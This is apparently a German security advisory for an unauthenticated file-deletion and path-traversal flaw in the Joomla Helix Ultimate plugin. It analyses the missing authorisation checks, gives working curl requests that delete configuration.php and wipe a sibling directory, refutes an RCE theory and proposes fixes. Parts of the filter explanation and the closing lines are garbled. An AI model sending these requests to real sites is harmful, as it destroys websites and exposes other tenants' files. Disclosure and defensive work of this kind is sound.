
Unauthentifizierte Löschung beliebiger Dateien/Ordner in Joomla Helix Ultimate (JoomShaper) <= 2.2.6 — CVE-2026-57830
Dies ist eine bestätigte DoS- und Cross-Tenant-Dateisystemzugriffs-Schwachstelle, KEIN RCE. Eine RCE-Eskalationstheorie
(Löschen von configuration.php, um den Joomla-Installer wieder freizulegen) wurde live getestet und widerlegt — siehe „RCE-Eskalation — getestet und widerlegt" unten. Stellen Sie dies in keinem Bericht als RCE dar, ohne zuvor eine echte Kette neu herzuleiten.
Schweregrad-Upgrade (2026-07-06, zweiter Durchgang): Der Parameter path ist, wie zunächst eingeschätzt, NICHT sicher auf das Joomla-Webroot begrenzt — Joomlas PATH-Eingabefilter blockiert eine einzelne /../-Traversal-Komponente nicht, sodass dieser Bug (Lesen: vollständige Verzeichnisauflistung; Schreiben: Datei löschen oder Ordnerinhalte rekursiv löschen) alles im Dateisystem erreicht, auf das der Webserver-Benutzer zugreifen kann, nicht nur Dateien innerhalb der Joomla-Installation. Bei jedem Shared-Hosting-Layout, bei dem mehrere Websites/Mandanten als Schwesterverzeichnisse unter demselben OS-Benutzer liegen (extrem häufig: cPanel-„Addon-Domains", Plesk-Abonnements, die sich einen Systembenutzer teilen, die meisten Budget-Hostings), ermöglicht eine einzelne, auf Helix Ultimate basierende Website einem anonymen Besucher, jede andere Website auf demselben Konto zu zerstören. Siehe „Path-Traversal verlässt JPATH_ROOT vollständig" unten für den Live-Beweis.
Komponente: JoomShaper Helix Ultimate Framework (plg_system_helixultimate), gebündelt mit praktisch jeder JoomShaper-Joomla-Vorlage (basierend auf Helix Ultimate).
Getestete Version: 2.2.6 (GitHub JoomShaper/helix-ultimate, HEAD-Stand 2026-07, letzter Push 2026-06-30)
Autor: Amin İsayev / Proxima Cyber Security
plugins/system/helixultimate/src/Platform/Media.php macht deleteMedia(), getFolders() und createFolder() über den Joomla-Dispatch-Hook com_ajax in helixultimate.php::onAfterRoute() erreichbar. Diese drei Methoden rufen lediglich Session::checkToken() auf (eine reine CSRF-Prüfung, die durch das eigene Session-Token jedes anonymen Besuchers erfüllt wird — aus dem HTML der Startseite abgreifbar) — überhaupt keine authorise()-/Login-Prüfung. Dies steht im Widerspruch zur Schwestermethode uploadMedia() in derselben Klasse, die korrekt core.edit auf com_templates verlangt.
Da es sich um ein System-Plugin handelt, feuert onAfterRoute() bei jeder Anfrage, unabhängig davon, welche Vorlage gerade aktiv ist — der verwundbare Codepfad ist erreichbar, solange das Plugin installiert und aktiviert ist (was es standardmäßig auf jeder Website ist, die eine auf Helix Ultimate basierende JoomShaper-Vorlage verwendet).
plugins/system/helixultimate/helixultimate.php (~Zeile 464-489):
if ($this->app->isClient('site'))
{
$option = $this->app->input->get('option', '', 'STRING');
$helix = $this->app->input->get('helix', '', 'STRING');
$request = $this->app->input->get('request', '', 'STRING');
$action = $this->app->input->get('action', '', 'STRING');
if ($option === 'com_ajax' && $helix === 'ultimate' && $request === 'task' && $action !== '')
{
switch ($action)
{
case 'upload-blog-image': Blog::upload_image(); break; // has core.create/com_media check
case 'remove-blog-image': Blog::remove_image(); break; // has core.delete/com_media check
case 'view-media': Media::getFolders(); break; // NO authorise() check
case 'delete-media': Media::deleteMedia(); break; // NO authorise() check
case 'upload-media': Media::uploadMedia(); break; // has core.edit/com_templates check
}
}
}
plugins/system/helixultimate/src/Platform/Media.php:
public static function deleteMedia()
{
$output['message'] = Text::_('JINVALID_TOKEN');
Session::checkToken() or die(json_encode($output)); // ← only CSRF, no authorise()
$path = $input->post->get('path', '/images', 'PATH');
$type = $input->post->get('type', 'file', 'STRING');
if ($type === 'file') { File::delete(JPATH_ROOT . '/' . $path); }
else { Folder::delete(JPATH_ROOT . '/' . $path); } // recursive
}
$path durchläuft Joomlas PATH-Eingabefilter (InputFilter::cleanPath()). Zwei unabhängige Dinge machen dies gefährlich:
path wird direkt unter JPATH_ROOT aufgelöst, sodass jeder vom Root aus absolute Pfad (/configuration.php, /administrator/..., /media/...) bereits erreichbar ist.cleanPath() (^[A-Za-z0-9_\/-]+[A-Za-z0-9_\.-]*([\\\\\/]+[A-Za-z0-9_-]+[A-Za-z0-9_\.-]*)*$) erlaubt genau eine Folge von Punkt-/Bindestrich-/Alnum-Zeichen direkt nach dem führenden [A-Za-z0-9_/-]+-Block — und ein führendes / allein erfüllt diesen führenden Block bereits, sodass eine Zeichenkette wie /../sibling_dir sauber matcht: / (Block 1), .. (die erlaubte Punktfolge), (ein normales Endsegment). Der Filter wurde geschrieben, um ein Segment abzulehnen, das eine neue -Komponente mit einem Punkt , hat aber nie antizipiert, dass ein einzelnes direkt nach dem allerersten Zeichen der Zeichenkette sitzt. Das Verketten von überlebt NICHT (jedes weitere -Segment nach der ersten Punktfolge muss mit einem Nicht-Punkt-Zeichen beginnen) — daher ist die Eskalation auf genau Verzeichnisebene über begrenzt, aber alles unterhalb dieser Ebene (beliebige Tiefe) ist dann normal erreichbar, da weitere Segmente nur gewöhnliche Nicht-Punkt-Pfadkomponenten sind.configuration.php → sofortiger, vollständiger Site-Ausfall (Fatal Error „No configuration"), eine HTTP-Anfrage, null Authentifizierung.type=folder) → z. B. /administrator, /components, /media → weitaus destruktiver, zerstört die Installation praktisch vollständig.view-media (Media::getFolders()): listet alle Bilddateien, alle Unterordnernamen und absolute Serverpfade unter jedem root-relativen Pfad auf, keine Authentifizierung erforderlich (unten als das sichere Erkennungssignal verwendet).Getestet gegen eine Wegwerf-Docker-Instanz (Joomla 5.4.6 + Helix-Ultimate-Plugin 2.2.6, frische Installation, vollständig anonyme Browser-Sitzung — kein Login, kein Cookie außer dem, den Joomla jedem Besucher aushändigt):
$ curl -X POST "http://TARGET/index.php?option=com_ajax&helix=ultimate&request=task&action=delete-media" \
--data-urlencode "path=/configuration.php" \
--data-urlencode "type=file" \
--data-urlencode "<csrf-token-from-homepage>=1"
{"status":true, ...}
$ curl http://TARGET/
"No configuration file found and no directory was found for installation."
Erstellt wurde ein Schwesterverzeichnis des Joomla-Webroots (/var/www/canary_sibling, Schwester von /var/www/html) im Besitz desselben Benutzers wie der Webserver (www-data), um ein realistisches Shared-Hosting-Layout nachzubilden — befüllt mit einer Datei, einem Bild und einem Unterverzeichnis:
$ curl -X POST "http://TARGET/index.php?option=com_ajax&helix=ultimate&request=task&action=view-media" \
--data-urlencode "path=/../canary_sibling" \
--data-urlencode "<csrf-token>=1"
{"status":true, "path":"/../canary_sibling",
"images":["/var/www/html/../canary_sibling/proof.png"],
"folders":["subdir"], ...}
Vollständiges Lesen/Auflisten eines Verzeichnisses vollständig außerhalb der Joomla-Installation, einschließlich aufgelöster absoluter Serverpfade, mit null Authentifizierung.
$ curl -X POST "http://TARGET/index.php?option=com_ajax&helix=ultimate&request=task&action=delete-media" \
--data-urlencode "path=/../canary_sibling" \
--data-urlencode "type=folder" \
--data-urlencode "<csrf-token>=1"
Ergebnis: Jede Datei innerhalb von canary_sibling (die einfache Datei, das Bild und das Unterverzeichnis) wurde gelöscht. Nur der nun leere Top-Level-Ordner canary_sibling selbst überlebte — und nur, weil er in diesem Labor direkt unter /var/www lag, im Besitz von root — das Entfernen des leeren Verzeichniseintrags erfordert Schreibrechte auf seinem Elternverzeichnis, die www-data auf /var/www nicht hat. Bei einem echten Shared-Hosting-Layout (z. B. /home/user/domains/siteA.com/public_html und /home/user/domains/siteB.com/public_html als echte Schwesterverzeichnisse, beide durchgehend im Besitz desselben Kontobenutzers) existiert diese letzte Barriere nicht, und der gesamte Verzeichnisbaum der Schwester-Website ist entfernbar.
Die naheliegende nächste Theorie war: Auf einer Website, auf der installation/ nach der Einrichtung nie entfernt wurde, würde das Löschen von configuration.php den Installationsassistenten wieder erreichbar machen, sodass ein Angreifer ihn abschließen und einen neuen Super User erstellen könnte. Dies wurde direkt im Labor getestet und hält nicht stand:
installation/ wurde zurück ins Webroot kopiert (Simulation einer Website, die vergessen hat, ihn zu entfernen) — configuration.php war zu diesem Zeitpunkt noch vorhanden und gültig.302 Found -> /installation/index.php auszugeben, einschließlich des eigenen POST des Exploits an option=com_ajax&helix=ultimate&...&action=delete-media. Der verwundbare Codepfad wird in diesem Zustand nie ausgeführt — der Joomla-Core unterbricht zuerst alles.installation/ vorhanden ist: Die Website ist bereits für jeden Besucher vollständig offen für eine Übernahme, völlig unabhängig von dieser Schwachstelle — das ist eine bereits bestehende, unzusammenhängende Joomla-Fehlkonfiguration, nicht etwas, das dieser Bug verursacht oder wofür er benötigt wird.installation/ nicht vorhanden ist (der normale, sichere Zustand): Diese Schwachstelle kann Dateien nur löschen, sie kann den Ordner installation/ nicht wieder erstellen — es gibt keine Möglichkeit, den Installer aus einem reinen Lösch-Primitiv wieder freizulegen.Fazit: Keine Zustandskombination macht daraus ein RCE. Die bestätigte, ehrliche Auswirkungsobergrenze ist nicht authentifiziertes, bedingungsloses, garantiertes Full-Site-DoS (plus die oben genannte nicht authentifizierte Informationsoffenlegung). Das ist bereits für sich genommen ein Befund mit kritischem Schweregrad und benötigt keine überhöhte RCE-Behauptung.
createFolder() ist NICHT ohne Authentifizierung erreichbar (früherer Entwurf war falsch)Eine frühere Version dieses Beitrags behauptete, Media::createFolder() sei ebenfalls ohne Authentifizierung erreichbar (als drittes Primitiv neben Löschen/Lesen). Das war falsch und wurde nach einem vollständigen Durchgang durch die Dispatch-Verdrahtung des Plugins korrigiert:
createFolder() und die tatsächlichen Dateiinhalts-Schreib-Sinks im Codebestand (Request.php: fwrite(), File::write() für Vorlagen-Stile/Webfonts/CSS-Cache-Dateien) befinden sich alle in plugins/system/helixultimate/src/Platform/Request.php und werden ausschließlich über Platform::handleRequests() <- onAfterRespond() ausgelöst.onAfterRespond() verlangt ausdrücklich $this->app->isClient('administrator'), und onAfterRoute() leitet jeden nicht eingeloggten Besucher vorher separat um. Dieser Pfad ist wirklich admin-authentifiziert — bestätigt durch das Lesen der exakten Gate-Bedingung, nicht nur durch das Fehlen eines authorise()-Aufrufs innerhalb der Methode selbst (anders als die site-seitigen deleteMedia()/getFolders(), die wirklich keinerlei Gate haben).Bestätigter nicht authentifizierter Fähigkeitenumfang, final: nur Löschen (Datei oder rekursiver Ordner) + Lesen (Ordner-/Bildauflistung). Es existiert nirgendwo in diesem Plugin ein nicht authentifiziertes Inhalts-Schreib-Primitiv. Genau deshalb wurde keine RCE-Kette gefunden, selbst nach gezielter Suche — RCE benötigt grundlegend ein Schreib-Primitiv, und diese Bug-Klasse hat keins.
helix_ultimate_detect.pyNicht destruktiv. Verwendet action=view-media (Ordner-/Dateiauflistung) als Beweissignal — löscht nie etwas.
helix_ultimate_delete_poc.py (Name aus Kontinuitätsgründen beibehalten; bestätigt nur DoS)Destruktiv. Erfordert explizites --delete <path>, um irgendetwas anzufassen. Das Flag --rce löscht configuration.php und testet /installation/ ausschließlich, um zu prüfen, ob dieser Ordner zufällig bereits vorhanden ist (in diesem Fall war die Website unabhängig von diesem Bug bereits völlig offen) — es stellt keine echte, durch diese Schwachstelle verursachte Eskalation dar; siehe „RCE-Eskalation — getestet und widerlegt" oben. Nur mit schriftlicher Autorisierung verwenden.
Es sind zwei unabhängige Korrekturen erforderlich — jede einzelne für sich würde dies bereits verhindern:
deleteMedia() und getFolders() in src/Platform/Media.php dieselbe Autorisierungsprüfung hinzu, die uploadMedia() bereits hat — mindestens core.edit/core.delete auf com_templates (oder com_media, entsprechend dem Muster von Blog::remove_image()) — bevor irgendeine Dateisystemoperation ausgeführt wird.Amin İsayev / Proxima Cyber Security — 2026. Nur für Bildungszwecke / autorisierte Tests.
/sibling_dir/…..../../../…JPATH_ROOTisClient('site')) in onAfterRoute() verdrahtet nur fünf Aktionen: upload-blog-image, remove-blog-image, view-media (Media::getFolders), delete-media (Media::deleteMedia), upload-media (Media::uploadMedia, das tatsächlich core.edit/com_templates prüft). create-folder ist nicht darunter.